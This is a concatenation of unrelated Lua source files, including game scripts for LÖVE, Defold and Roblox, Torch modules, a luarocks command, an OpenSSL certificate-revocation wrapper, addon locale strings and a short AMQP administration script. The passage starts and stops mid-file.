self.max_w then self.max_w = line:GetWide() end self.max_h = self.max_h + line:GetTall() end end end vgui.Register('fl_currencies', PANEL, 'fl_base_panel')
-- -- Copyright (c) 2018 Milos Tosic. All rights reserved. -- License: http://www.opensource.org/licenses/BSD-2-Clause -- -- https://github.com/erincatto/Box2D local params = { ... } local BOX2D_ROOT = params[1] local BOX2D_INCLUDE = { BOX2D_ROOT .. "include", BOX2D_ROOT .. "src", } local BOX2D_FILES = { BOX2D_ROOT .. "include/**.h", BOX2D_ROOT .. "src/**.h", BOX2D_ROOT .. "src/**.cpp", BOX2D_ROOT .. "src/**.h" } function projectExtraConfig_box2d() includedirs { BOX2D_INCLUDE } end function projectAdd_box2d() addProject_3rdParty_lib("box2d", BOX2D_FILES) end
function Init() sprites = {} sprites.player = LoadTexture("assets/textures/Ship.png") sprites.triangle = LoadTexture("assets/textures/Triangle.png") require("src/ExampleScript/player") require("src/ExampleScript/level") level:Init() GameState = {State = -1, Play = 0, MainMenu =1, GameOver = 2} GameState.State = GameState.MainMenu SetCameraPosition(player.position.x, player.position.y ) end function Update(dt) if GameState.State == GameState.Play then player:Update(dt) SetCameraPosition(player.position.x, player.position.y ) level:Update() end end function Draw() -- DrawQuad(5.0, 5.0, 5,5 , 1,0,0,1) -- DrawQuad(-5.0, 5.0,10,5 , 0,1,0,1) -- DrawQuadZ(0.0, 0.0, -0.5, 10, 16 , 0,0,1,1) level.Draw() player.Draw() end function DrawUI() if GameState.State == GameState.Play then context = "Score: " .. math.floor( player:GetScore() ) DrawFont(context, 0.0, 0.0, 120.0) elseif GameState.State == GameState.MainMenu then local offset = {x = Width * 0.5 - 400, y = 50} DrawFont("Click to Play!", offset.x, offset.y, 120.0) elseif GameState.State == GameState.GameOver then local offset = {x = Width * 0.5 - 400, y = 50} DrawFont("Click to Play!", offset.x, offset.y, 120.0) offset.x = offset.x + 200.0 offset.y = offset.y + 100.0 DrawFont(context, offset.x, offset.y, 48.0) end end function OnMouseButtonPressed() if GameState.State == GameState.GameOver then player:Reset() end GameState.State = GameState.Play end
local Button = require "ruu.widgets.Button" local Slider = Button:extend() Slider.nudgeDist = 5 -- Hack to try to get global rotation, check two parents up. local function getScreenRotation(node) local p1, p2 local rotZ = gui.get_rotation(node).z -- gui.get_rotation returns a vector3 of euler angles. p1 = gui.get_parent(node) if p1 then p2 = gui.get_parent(p1) rotZ = rotZ + gui.get_rotation(p1).z end if p2 then rotZ = rotZ + gui.get_rotation(p2).z end return math.rad(rotZ) end local function toLocal(node, dx, dy) local screenRot = getScreenRotation(node) local screenRotQ = vmath.quat_rotation_z(-screenRot) local delta = vmath.rotate(screenRotQ, vmath.vector3(dx, dy, 0)) return delta.x, delta.y end function Slider.set(self, ruu, owner, nodeName, releaseFn, fraction, length, wgtTheme) self.fraction = fraction or 0 self.length = length or 100 self.xPos = 0 Slider.super.set(self, ruu, owner, nodeName, releaseFn, wgtTheme) self.barNode = gui.get_node(nodeName .. "/bar") self:updatePos(self, nil, nil) -- To update slider pos based on current fraction. end function Slider.onDrag(self, dragFn) self.dragFn = dragFn return self -- Allow chaining. end function Slider.updatePos(self, dx, dy, isLocal) local startPoint = -self.length/2 -- Assumes that the handle at x=0 is centered on the bar. local endPoint = self.length/2 local pos = gui.get_position(self.node) if dx and dy then if not isLocal then -- Convert dx and dy to local deltas relative to the bar, so dx is always along the bar. dx, dy = toLocal(self.barNode, dx, dy) end -- Clamp to start and end points. pos.x = math.max(startPoint, math.min(endPoint, pos.x + dx)) else -- .updatePos called with no dx or dy - Set pos based on current fraction. pos.x = startPoint + self.length * self.fraction end self.xPos = pos.x gui.set_position(self.node, pos) end function Slider.drag(self, dx, dy, dragType, isLocal) if dragType then return end -- Only respond to the default drag type. self:updatePos(dx, dy, isLocal) self.fraction = self.xPos / self.length + 0.5 if self.dragFn then if self.releaseArgs then self.dragFn(self.owner, self, unpack(self.releaseArgs)) else self.dragFn(self.owner, self) end end self.wgtTheme.drag(self, dx, dy) end local dirs = { up = {0, 1}, down = {0, -1}, left = {-1, 0}, right = {1, 0} } local COS_45 = math.cos(math.rad(45)) function Slider.getFocusNeighbor(self, dir) local dirVec = dirs[dir] if dirVec then local dx, dy = dirVec[1], dirVec[2] dx, dy = toLocal(self.barNode, dx, dy) if math.abs(dx) > COS_45 then -- Input direction is roughly aligned with slider rotation. self:drag(dx * self.nudgeDist, 0, nil, true) return 1 -- Consume input. else return self.neighbor[dir] end else return self.neighbor[dir] end end return Slider
local Scene = require("lib.scene") local Player = require("../player") local Bar = require("lib.ui.bar") local U = require("lib.utils") local bat = require("../bat") local apple = require("../apple1") local apple1 = require("../apple") local Thorn = require("../thorn") local health = require("../global") local Vector2 = require("lib.vector2") local Anim = require("lib.animations") local Sprite = require("lib.sprite") local button = require("Advice.buttons") local button_J = require("Advice.button_jump") local button_R = require("Advice.button_run") local button_E = require("Advice.button_eat") local mess = require("Advice.message") require("lib.camera") local Map_test local T = Scene:derive("level_1") local s_pos level_1_c = false function T:new(scene_mngr) camera:setBounds(0,0,1920*4,540) self.super.new(self,scene_mngr) --Add Sonder self.p = Player() self.em:add(self.p) --Add Enemies self.b = bat() --create bat self.b.spr.pos.y = 450 self.b.spr.pos.x = 2880 self.b.distance_init = 2880 self.b.distance = 2880+960 self.em:add(self.b) --add bat to scene -- self.t = Thorn() self.t.spr.pos.x = 1500 self.em:add(self.t) -- self.a1 = apple1() self.a1.spr.pos.x = 1350 self.em:add(self.a1) self.a = apple() self.a.spr.pos.x = 550 self.em:add(self.a) self.a3 = apple() self.a3.spr.pos.x = 2650 self.em:add(self.a3) --Add health bar self.bar = Bar("health",125,35,200, 20, "20%") self.em:add(self.bar) self.bar_changed = function(bar, value) self:on_bar_changed(bar, value) end self.bar.percentage = 20 self.bar:set(self.bar.percentage) --Add background -- Map_test = love.graphics.newImage("Map/fondo2.png") self.bar_run = Bar("run",500,35,250, 20,"") self.em:add(self.bar_run) self.bar_changed_ = function(bar_run, value) self:on_bar_changed(bar_run, value) end self.bar_run.percentage = 100 self.bar_run:set(self.bar_run.percentage) self.bar_run.pos.y = 65 self.bar_run.fill_color = U.color(0.6,0.8,1,1) Map_test = love.graphics.newImage("Map/fondo2.png") Sonder = love.graphics.newImage("Map/sonder1.png") alimentos = love.graphics.newImage("Advice/alimentos.png") energia = love.graphics.newImage("Advice/energia.png") murcielagos = love.graphics.newImage("Advice/murcielagos.png") adelante = love.graphics.newImage("Advice/adelante.png") snd1 = love.audio.newSource("Sound/Forest_Ambience.mp3","stream") snd_forest = love.audio.newSource("Sound/Forest_Ambience.mp3","stream") bar_2 = love.graphics.newImage("Advice/bar.png") snd1:setLooping(true) snd_forest:setLooping(true) end --Keep this local entered = false function T:enter() T.super.enter(self) _G.events:hook("onBarChanged", self.bar_changed) end function T:exit() T.super.exit(self) _G.events:unhook("onBarChanged", self.bar_changed) end function T:on_bar_changed(bar,value) bar.text = tostring(value .. "%") if value < 20 then bar.fill_color = U.color(1,0,0,1) elseif value > 19 and value < 50 then bar.fill_color = U.color(1,1,0,1) elseif value > 49 then bar.fill_color = U.color(0,1,0,1) end end --Update function T:update(dt) love.audio.setVolume(0.8) if pause == false then --keep this self.super.update(self,dt) --health bar & Sonder icon love.audio.play(snd1) love.audio.play(snd_forest) love.audio.stop(go_snd) camera:setPosition( self.p.fox_sprite.pos.x - (love.graphics.getWidth()/3.5), self.p.fox_sprite.pos.y - (love.graphics.getHeight())) self.bar.pos.x = 180 + camera.x self.bar_run.pos.x = 205 + camera.x s_pos = 5 + camera.x --Run Bar if self.p.fox_sprite.current_anim == "run" or self.p.fox_sprite.current_anim == "jump" then if self.p.fox_sprite.current_anim == "jump" and love.keyboard.isDown("z") then self.bar_run:set(self.bar_run.percentage - 0.7) else self.bar_run:set(self.bar_run.percentage - 0.3) end if self.bar_run.percentage <= 20 then self.p.enable = false self.bar_run.fill_color = U.color(1,0,0,1) else self.p.enable = true self.bar_run.fill_color = U.color(0.6,0.8,1,1) end else self.bar_run:set(self.bar_run.percentage + 0.8) end if(self.bar_run.percentage == 100) then self.bar_run.fill_color = U.color(0.6,0.8,1,1) end self.bar_run.text= "" -- -- local r1 = self.p.fox_sprite:rect_(0,0,-60,-10) -- local eat if ( self.p.fox_sprite.flip.x == 1) then eat = self.p.fox_sprite:rect_(55,0,-110,-10) elseif self.p.fox_sprite.flip.x == -1 then eat = self.p.fox_sprite:rect_(-55,0,-110,-10) end local r2 = self.b.spr:rect() if U.AABBColl(r1, r2) then --self.p.fox_sprite.tintColor = U.color(1,0,0,1) local md = r2:minowski_diff(r1) local sep = md:closest_point_on_bounds(Vector2()) --tell the player on which side it has a collision self.p:collided(md:collides_top(sep), md:collides_bottom(sep), md:collides_left(sep), md:collides_right(sep)) self.p.fox_sprite.pos.x = self.p.fox_sprite.pos.x + sep.x self.p.fox_sprite.pos.y = self.p.fox_sprite.pos.y + sep.y self.bar:set(self.bar.percentage - 1) end -- if U.AABBColl(r1,self.t.spr:rect()) then self.bar:set(self.bar.percentage - 1) self.t.spr:animation("on_idle") end -- if self.p.fox_sprite.current_anim == "bite" then if self.a.remove == nil and self.a and U.AABBColl(eat, self.a.spr:rect() ) then self.bar:set(self.bar.percentage + 10) self.a.remove = true end if self.a1.remove == nil and self.a1 and U.AABBColl(eat, self.a1.spr:rect() ) then self.bar:set(self.bar.percentage - 15) self.a1.remove = true end if self.a3.remove == nil and self.a3 and U.AABBColl(eat, self.a3.spr:rect() ) then self.bar:set(self.bar.percentage + 10) self.a3.remove = true end end if (self.bar.percentage <= 0) then if(n_d >= 4 and n_d <9) then self.bar:set(30) self.bar.text = "30%" elseif (n_d >= 9) then self.bar:set(50) self.bar.text = "50%" else self.bar:set(20) self.bar.text = "20%" end if self.a.remove ~= nil then self.em:add(self.a) self.a.remove = nil end if self.a1.remove ~= nil then self.em:add(self.a1) self.a1.remove = nil end if self.a3.remove ~= nil then self.em:add(self.a3) self.a3.remove = nil end self.p.fox_sprite.pos.x = 80 self.p.fox_sprite.pos.y = 450 love.audio.stop(snd1) game_over = true end if (self.p.fox_sprite.pos.x >= (960*4)) then health.val(self.bar.percentage) self.bar:set(20) self.bar.text = "20%" self.p.fox_sprite.pos.x = 80 self.p.fox_sprite.pos.y = 450 if self.a.remove ~= nil then self.em:add(self.a) self.a.remove = nil end if self.a1.remove ~= nil then self.em:add(self.a1) self.a1.remove = nil end if self.a3.remove ~= nil then self.em:add(self.a3) self.a3.remove = nil end love.audio.stop(snd1) level_1_c = true end butt:update(dt) butt_R:update(dt) butt_E:update(dt) butt_J:update(dt) end if pause == true then love.audio.pause(snd1) end end local s1 = true butt = button() butt_J = button_J() butt_R = button_R() butt_E = button_E() msg = mess() function T:draw() camera:set() love.graphics.draw(Map_test,0,0) love.graphics.draw(Map_test,960,0) love.graphics.draw(Map_test,1920,0) love.graphics.draw(Map_test,2880,0) if self.p.fox_sprite.pos.x >= 0 and self.p.fox_sprite.pos.x <= 650 and s1 == true then butt:draw() end if self.p.fox_sprite.pos.x >= 500 and self.p.fox_sprite.pos.x <=1000 then butt_E:draw() love.graphics.draw(alimentos,700,150) end if self.p.fox_sprite.pos.x >= 900 and self.p.fox_sprite.pos.x <=1500 then butt_J:draw() end if self.p.fox_sprite.pos.x >= 1200 and self.p.fox_sprite.pos.x <=1800 then msg:draw() end if self.p.fox_sprite.pos.x >= 1500 and self.p.fox_sprite.pos.x <=2500 then love.graphics.draw(energia,1700,150) butt_R:draw() end if self.p.fox_sprite.pos.x >= 2600 and self.p.fox_sprite.pos.x <=3200 then love.graphics.draw(murcielagos,2700,150) end if self.p.fox_sprite.pos.x >= 3200 then love.graphics.draw(adelante,3400,150) end self.super.draw(self) love.graphics.draw(Sonder,s_pos+6,24) love.graphics.draw(bar_2,s_pos-10,12) -- local r = self.p.fox_sprite:rect_(55,0,-110,-10) -- love.graphics.rectangle("line",r.x,r.y,r.w,r.h) camera:unset() end return T
local zawszetrue = true Citizen.CreateThread(function() while zawszetrue do Citizen.Wait(0) local ped = GetPlayerPed(-1) GetPlayerWantedLevel(ped) end end) -- discord.gg/exus -- script created by nisu#0007
--[[ # Author : Qwreey / qwreey75@gmail.com / github:qwreey75 # Create Time : 2021-05-11 18:57:26 # Modified by : Qwreey # Modified time : 2021-06-05 01:20:25 # Description : | Time format = yyy-mm-dd hh:mm:ss Time zone = GMT+9 모듈 데이터를 github 로 부터 가져옵니다, http 오류를 직접 처리합니다 ]] ---@diagnostic disable:undefined-global local HTTP = game:GetService("HttpService"); local Selection = game:GetService("Selection"); -- 이거 테스팅 한번 돌려봐야됨 return function (UIHolder,url) local MaterialUI = require(script.Parent.Parent.libs.MaterialUI); local AdvancedTween = require(script.Parent.Parent.libs.AdvancedTween); local new = MaterialUI.Create; -- 이미 HTTP 서비스가 켜져 있다면 리턴 local pass,data; local function newTry() pass,data = pcall( HTTP.GetAsync, HTTP, -- self 값을 추가해줌 url ); end newTry(); if pass then return data; end -- 리포트를 위해서 아웃풋 보여주기를 만든다 local function report() local new = new("Frame",{ Name = "HaveErrorHTTPMain"; BackgroundColor3 = MaterialUI:GetColor("Background"); BorderSizePixel = 0; Position = UDim2.new(1, 20, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 8100; ClipsDescendants = true; NotTagging = true; },{ topbar = new("Frame",{ BackgroundColor3 = MaterialUI:GetColor("TopBar"); BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 46); ZIndex = 8109; NotTagging = true; },{ Shadow = new("Shadow",{ NotTagging = true; }); title = new("TextLabel",{ BackgroundTransparency = 1; Position = UDim2.new(0, 42, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 8109; Font = Enum.Font.SourceSans; Text = "오류 신고하기"; TextColor3 = MaterialUI:GetColor("TextColor"); TextSize = 18; TextXAlignment = Enum.TextXAlignment.Left; NotTagging = true; }); icon = new("ImageLabel",{ ImageColor3 = MaterialUI:GetColor("TextColor"); AnchorPoint = Vector2.new(0, 0.5); BackgroundTransparency = 1; Position = UDim2.new(0, 8, 0.5, 0); Size = UDim2.new(0, 28, 0, 28); ZIndex = 8109; Image = "http://www.roblox.com/asset/?id=6031071057"; NotTagging = true; }); }); output = new("TextBox",{ NotTagging = true; BackgroundTransparency = 1; Position = UDim2.new(0, 0, 0, 46); Size = UDim2.new(1, 0, 1, -46); ZIndex = 8101; ClearTextOnFocus = false; Font = Enum.Font.Code; Text = ( "아래의 오류를 복사해서 관리자 이메일로 제보하거나\n" .. "깃허브를 통해서 이 오류를 제보해주세요\n" .. "(또는 카페를 통해서 제보해주세요)\n\n" .. "깃허브 링크 : https://github.com/nofairTCM/InstallerPlugin/issues/new\n\n" .. "=============== 오류 시작 ===============\n\n" .. "error : \n" .. (data or "") ); TextColor3 = MaterialUI:GetColor("TextColor"); TextEditable = false; TextSize = 14; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Top; },{ padding = new("UIPadding",{ PaddingLeft = UDim.new(0, 4); PaddingTop = UDim.new(0, 4); NotTagging = true; }); }); }); AdvancedTween:RunTween(new,{ Time = 0.62; Easing = AdvancedTween.EasingFunctions.Exp2; Direction = AdvancedTween.EasingDirection.Out; },{ Position = UDim2.new(0,0,0,0); }); return new; end -- 경고창을 띄운다 local store = {}; new("Frame",{ Name = "CheckHTTPMain"; BackgroundColor3 = Color3.fromRGB(65, 65, 65); BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 8000; WhenCreated = function (this) store.this = this; end; },{ new("ImageLabel",{ AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(255, 255, 255); BackgroundTransparency = 1; Position = UDim2.new(0.5, 0, 0.5, 40); Size = UDim2.new(0, 200, 0, 49); ZIndex = 8002; Image = "http://www.roblox.com/asset/?id=6789811908"; },{ new("UICorner",{ }); new("ImageLabel",{ Name = "Shadow"; AnchorPoint = Vector2.new(0.5, 0); BackgroundTransparency = 1; BorderSizePixel = 0; Position = UDim2.new(0.5, 0, 0, -3); Size = UDim2.new(1, 12, 1, 8); ZIndex = 8001; Image = "rbxassetid://1316045217"; ImageColor3 = Color3.fromRGB(0, 0, 0); ImageTransparency = 0.80000001192093; }); new("TextLabel",{ BackgroundColor3 = Color3.fromRGB(255, 255, 255); BackgroundTransparency = 1; Position = UDim2.new(0, 40, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 8002; Font = Enum.Font.Code; Text = "raw.githubusercontent.com"; TextColor3 = Color3.fromRGB(255, 255, 255); TextSize = 12; TextXAlignment = Enum.TextXAlignment.Left; }); }); new("TextLabel",{ Name = "info"; AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(255, 255, 255); BackgroundTransparency = 1; Position = UDim2.new(0.5, 0, 0.5, -50); Size = UDim2.new(1, -40, 0, 118); ZIndex = 8001; Font = Enum.Font.Gotham; Text = ( "플러그인 관리 (Plugin Management) =>\n" .. "nofairTCM-Installer =>\n" .. "HTTP 요청 (Requests) / raw.githubusercontent.com 이 체크되어 있는지 확인해 주세요\n" ); TextColor3 = Color3.fromRGB(255, 255, 255); TextSize = 16; TextWrapped = true; }); new("TextLabel",{ Name = "footer"; AnchorPoint = Vector2.new(0.5, 1); BackgroundColor3 = Color3.fromRGB(255, 255, 255); BackgroundTransparency = 1; Position = UDim2.new(0.5, 0, 1, -8); Size = UDim2.new(1, -6, 0, 50); ZIndex = 8001; Font = Enum.Font.Gotham; Text = "이 플러그인은 모듈 상태 확인을 위해 HTTP 서비스를 사용합니다"; TextColor3 = Color3.fromRGB(255, 255, 255); TextSize = 14; TextWrapped = true; TextYAlignment = Enum.TextYAlignment.Bottom; }); new("TextButton",{ Name = "error"; AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(255, 255, 255); BackgroundTransparency = 1; Position = UDim2.new(0.5, 0, 0.5, 80); Size = UDim2.new(0, 100, 0, 20); ZIndex = 8001; Font = Enum.Font.Gotham; Text = "이미 켜져 있나요?"; TextColor3 = Color3.fromRGB(0, 166, 255); TextSize = 16; MouseButton1Click = function () -- 다른 창 하나 더 드로잉 local new = report(); new.Parent = store.this; end; }); }); store.this.Parent = UIHolder; while true do -- 바뀔 때 까지 기다림 wait(2); -- 창이 떠있어야 리트레이 하도록 만듬 if not UIHolder.Enabled then UIHolder:GetPropertyChangedSignal("Enabled"):Wait(); end -- 다시 시도 newTry(); if pass then store.this:Destroy(); return data; end end end;
------------------------------------------------------------- -- Various utilities for visualization through the web server ------------------------------------------------------------- local visualizer = {} require 'torch' disp = nil print(opt) if opt.display_id > 0 then -- [hack]: assume that opt already existed disp = require 'display' end util = require 'util/util' require 'image' -- function visualizer function visualizer.disp_image(img_data, win_size, display_id, title) images = util.deprocess_batch(util.scaleBatch(img_data:float(),win_size,win_size)) disp.image(images, {win=display_id, title=title}) end function visualizer.save_results(img_data, output_path) local tensortype = torch.getdefaulttensortype() torch.setdefaulttensortype('torch.FloatTensor') local image_out = nil local win_size = opt.display_winsize images = torch.squeeze(util.deprocess_batch(util.scaleBatch(img_data:float(), win_size, win_size))) if images:dim() == 3 then image_out = images else for i = 1,images:size(1) do img = images[i] if image_out == nil then image_out = img else image_out = torch.cat(image_out, img) end end end image.save(output_path, image_out) torch.setdefaulttensortype(tensortype) end function visualizer.save_images(imgs, save_dir, impaths, s1, s2) local tensortype = torch.getdefaulttensortype() torch.setdefaulttensortype('torch.FloatTensor') batchSize = imgs:size(1) imgs_f = util.deprocess_batch(imgs):float() paths.mkdir(save_dir) for i = 1, batchSize do -- imgs_f[i]:size(2), imgs_f[i]:size(3)/opt.aspect_ratio if s1 ~= nil and s2 ~= nil then im_s = image.scale(imgs_f[i], s1, s2):float() else im_s = imgs_f[i]:float() end img_to_save = torch.FloatTensor(im_s:size()):copy(im_s) image.save(paths.concat(save_dir, impaths[i]), img_to_save) end torch.setdefaulttensortype(tensortype) end return visualizer
object_static_halloween_item_sitholantern2 = object_static_halloween_shared_item_sitholantern2:new { } ObjectTemplates:addTemplate(object_static_halloween_item_sitholantern2, "object/static/halloween/item_sitholantern2.iff")
-- Copyright 2004-present Facebook. All Rights Reserved. require 'cutorch' require 'nn' local TemporalKMaxPooling, parent = torch.class('nn.TemporalKMaxPooling', 'nn.Module') function TemporalKMaxPooling:__init(k, k_dynamic) parent.__init(self) self.k = k self.k_dynamic = k_dynamic or -1 self.output = torch.CudaTensor() self.gradInput = torch.CudaTensor() self.indices = torch.CudaTensor() end function TemporalKMaxPooling:updateOutput(input) input = input:contiguous() input.nn.TemporalKMaxPooling_updateOutput(self, input) return self.output end function TemporalKMaxPooling:updateGradInput(input, gradOutput) input = input:contiguous() gradOutput = gradOutput:contiguous() input.nn.TemporalKMaxPooling_updateGradInput(self, input, gradOutput) return self.gradInput end
local M = {} -- constants M.YSDK_INIT_ID = 0 M.YACONTEXT_INIT_ID = 1 -- private local cb_id_counter = 2 local function next_cb_id() local id = cb_id_counter cb_id_counter = (cb_id_counter + 1) % 2147483647 if cb_id_counter == 0 or cb_id_counter == 1 then cb_id_counter = cb_id_counter + 1 end return id end function M.wrap_for_callbacks(callbacks) local cb_id = next_cb_id() local listener listener = function(self, _cb_id, message_id, message) -- print("*** _CB_ID", _cb_id, " = CB_ID", cb_id, "MESSAGE_ID", message_id, "MESSAGE", message) if message_id == "close" then yagames_private.remove_listener(listener) end if callbacks[message_id] ~= nil then callbacks[message_id](self, message) end end yagames_private.add_listener(cb_id, listener) return cb_id end function M.wrap_for_promise(then_callback) local cb_id = next_cb_id() local listener listener = function(self, _cb_id, message_id, message) yagames_private.remove_listener(listener) then_callback(self, message_id, message) end yagames_private.add_listener(cb_id, listener) return cb_id end function M.async_call(cb) if cb then timer.delay(0, false, function (self, handle) cb(self) end) end end return M
--- Module implementing the luarocks-admin "make_manifest" command. -- Compile a manifest file for a repository. module("luarocks.make_manifest", package.seeall) local manif = require("luarocks.manif") local index = require("luarocks.index") local cfg = require("luarocks.cfg") local util = require("luarocks.util") local deps = require("luarocks.deps") help_summary = "Compile a manifest file for a repository." help = [[ <argument>, if given, is a local repository pathname. ]] --- Driver function for "make_manifest" command. -- @param repo string or nil: Pathname of a local repository. If not given, -- the default local repository configured as cfg.rocks_dir is used. -- @return boolean or (nil, string): True if manifest was generated, -- or nil and an error message. function run(...) local flags, repo = util.parse_flags(...) assert(type(repo) == "string" or not repo) repo = repo or cfg.rocks_dir util.printout("Making manifest for "..repo) local ok, err = manif.make_manifest(repo, deps.get_deps_mode(flags), true) if ok then util.printout("Generating index.html for "..repo) index.make_index(repo) end return ok, err end
return {'iwan','iwans'}
local ffi = require "ffi" local C = ffi.C local ffi_gc = ffi.gc require "resty.openssl.include.x509.crl" require "resty.openssl.include.x509.revoked" local bn_lib = require("resty.openssl.bn") local format_error = require("resty.openssl.err").format_error local _M = {} local mt = { __index = _M } local revoked_ptr_ct = ffi.typeof('X509_REVOKED*') local NID_crl_reason = C.OBJ_txt2nid("CRLReason") assert(NID_crl_reason > 0) --- Creates new instance of X509_REVOKED data -- @tparam bn|number sn Serial number as number or bn instance -- @tparam number time Revocation time -- @tparam number reason Revocation reason -- @treturn table instance of the module or nil -- @treturn[opt] string Returns optional error message in case of error function _M.new(sn, time, reason) --- only convert to bn if it is number if type(sn) == "number"then sn = bn_lib.new(sn) end if not bn_lib.istype(sn) then return nil, "x509.revoked.new: sn should be number or a bn instance" end if type(time) ~= "number" then return nil, "x509.revoked.new: expect a number at #2" end if type(reason) ~= "number" then return nil, "x509.revoked.new: expect a number at #3" end local ctx = C.X509_REVOKED_new() ffi_gc(ctx, C.X509_REVOKED_free) -- serial number local sn_asn1 = C.BN_to_ASN1_INTEGER(sn.ctx, nil) if sn_asn1 == nil then return nil, "x509.revoked.new: BN_to_ASN1_INTEGER() failed" end ffi_gc(sn_asn1, C.ASN1_INTEGER_free) if C.X509_REVOKED_set_serialNumber(ctx, sn_asn1) == 0 then return nil, format_error("x509.revoked.new: X509_REVOKED_set_serialNumber()") end -- time time = C.ASN1_TIME_set(nil, time) if time == nil then return nil, format_error("x509.revoked.new: ASN1_TIME_set()") end ffi_gc(time, C.ASN1_STRING_free) if C.X509_REVOKED_set_revocationDate(ctx, time) == 0 then return nil, format_error("x509.revoked.new: X509_REVOKED_set_revocationDate()") end -- reason local reason_asn1 = C.ASN1_ENUMERATED_new() if reason_asn1 == nil then return nil, "x509.revoked.new: ASN1_ENUMERATED_new() failed" end ffi_gc(reason_asn1, C.ASN1_ENUMERATED_free) local reason_ext = C.X509_EXTENSION_new() if reason_ext == nil then return nil, "x509.revoked.new: X509_EXTENSION_new() failed" end ffi_gc(reason_ext, C.X509_EXTENSION_free) if C.ASN1_ENUMERATED_set(reason_asn1, reason) == 0 then return nil, format_error("x509.revoked.new: ASN1_ENUMERATED_set()") end if C.X509_EXTENSION_set_data(reason_ext, reason_asn1) == 0 then return nil, format_error("x509.revoked.new: X509_EXTENSION_set_data()") end if C.X509_EXTENSION_set_object(reason_ext, C.OBJ_nid2obj(NID_crl_reason)) == 0 then return nil, format_error("x509.revoked.new: X509_EXTENSION_set_object()") end if C.X509_REVOKED_add_ext(ctx, reason_ext, 0) == 0 then return nil, format_error("x509.revoked.new: X509_EXTENSION_set_object()") end local self = setmetatable({ ctx = ctx, }, mt) return self, nil end --- Type check -- @tparam table Instance of revoked module -- @treturn boolean true if instance is instance of revoked module false otherwise function _M.istype(l) return l and l.ctx and ffi.istype(revoked_ptr_ct, l.ctx) end return _M
local L = BigWigs:NewBossLocale("Mephistroth", "ptBR") if not L then return end if L then L.custom_on_time_lost = "Tempo perdido durante Desvanecer nas Sombras" L.custom_on_time_lost_desc = "Mostra o tempo perdido durante o Desvanecer nas Sombras na barra em |cffff0000red|r." end L = BigWigs:NewBossLocale("Domatrax", "ptBR") if L then L.custom_on_autotalk = "Conversa automática" L.custom_on_autotalk_desc = "Seleciona instantaneamente a opção de fofoca da Égide de Aggramar para começar o confronto com Domatrax." L.missing_aegis = "Você não está com a Égide " -- Aegis is a short name for Aegis of Aggramar L.aegis_healing = "Égide: Cura Reduzida" L.aegis_damage = "Égide: Dano Reduzido" end L = BigWigs:NewBossLocale("Cathedral of Eternal Night Trash", "ptBR") if L then L.dulzak = "Dul'zak" L.wrathguard = "Invasor Guardião Colérico" L.felguard = "Guarda Vil Destruidor" L.soulmender = "Trata-alma Ardinferno" L.temptress = "Tentadora Ardinferno" L.botanist = "Botânica Vilanesca" L.orbcaster = "Lança-orbe Passovil" L.waglur = "Wa'glur" L.scavenger = "Catador Língua de Serpe" L.gazerax = "Gazerax" L.vilebark = "Andarilho Cascavil" L.throw_tome = "Arremessar Tomo" -- Common part of Throw Arcane/Frost/Silence Tome (242837/242839/242841) end
-- Import the AMQP Client Library local amqp = require("amqp") -- Define the connection URL and Port local host = "127.0.0.1" local port = 5672 -- Connect to AMQP server local ctx = amqp:new({ role = "producer", user = "admin", password = "admin" }) local ok, err = ctx:connect("127.0.0.1",5672) local ok, err = ctx:setup() -- Delete the 'drx.xpto'exchange local ok, err = amqp.exchange_delete(ctx,{ exchange = "drt.xpto", }) -- Finalize proccess and close connection ctx:teardown() ctx:close()
local NORMAL_SPEED = 6 local ORBIT_SPEED = 1 local SPEED = NORMAL_SPEED -- pxl/s local LIFETIME = 10; State = {FREE = 0, ATTRACTED = 1, ORBIT = 2} local targets; local moon; local lifetime = 0; local MAX_LIFETIME = 3; Object.inactive = true; function Local.Init(x, y, vecInit, through_bridge) local TILES = Engine.Scene:getTiles(); local tile_size = obe.Transform.UnitVector( TILES:getWidth() * TILES:getTileWidth(), TILES:getHeight() * TILES:getTileHeight(), obe.Transform.Units.ScenePixels ):to(obe.Transform.Units.SceneUnits); Object.bounds = obe.Transform.Rect(); Object.bounds:setSize(tile_size); Object.clock = 0; Object.inactive = false; Object.through_bridge = through_bridge or false; targets = {} discoverTargets() center = {x = x, y = y} oldCenter = {x = x, y = y} vecUnit = Vector2(vecInit.x, vecInit.y):normalize() while vecUnit == 0 do x = (obe.Utils.Math.randint(0, 1) * 2 - 1) * obe.Utils.Math.randfloat() y = (obe.Utils.Math.randint(0, 1) * 2 - 1) * obe.Utils.Math.randfloat() vecUnit = Vector2(x, y):normalize() end This.SceneNode:setPosition(obe.Transform.UnitVector(x, y), obe.Transform.Referential.Center) t = 0 state = State.FREE direction = 1 if vecUnit ~= 0 then checkAttraction() checkOrbit() end This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Character"); This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Projectile"); if through_bridge then This.Collider:addTag(obe.Collision.ColliderTagType.Rejected, "Bridge"); end end function discoverTargets() for k, v in pairs(Engine.Scene:getAllGameObjects()) do if v.Collider ~= nil and v.Collider:doesHaveTag(obe.Collision.ColliderTagType.Tag, "Target") then table.insert(targets, v); end end end function getMoons() return Engine.Scene:getAllGameObjects("Moon"); end function checkAttraction() if state == State.FREE then for i, m in pairs(getMoons()) do if m == moon then if m:active() and not m:captive(center.x, center.y) then moon = nil end elseif m:captive(center.x, center.y) then state = State.ATTRACTED moon = m direction = moon:getDirection(center.x, center.y, vecUnit) ramp = moon:getRampCircle(center.x, center.y, vecUnit, direction) if ramp.circle ~= nil then t = 0 initialAngle = moon:getAngle(center.x, center.y, ramp.circle) end if ramp.inverse then direction = -direction end end end end end function checkOrbit() if state == State.ATTRACTED and moon:orbit(center.x, center.y) then state = State.ORBIT t = 0 initialAngle = moon:getAngle(center.x, center.y) if ramp.inverse then direction = -direction end end end local function followCircle(circle, dt) local angularSpeed = SPEED / circle.radius; local angularVelocity = direction * angularSpeed; t = t + dt center.x = circle.radius * math.cos(t * angularVelocity + 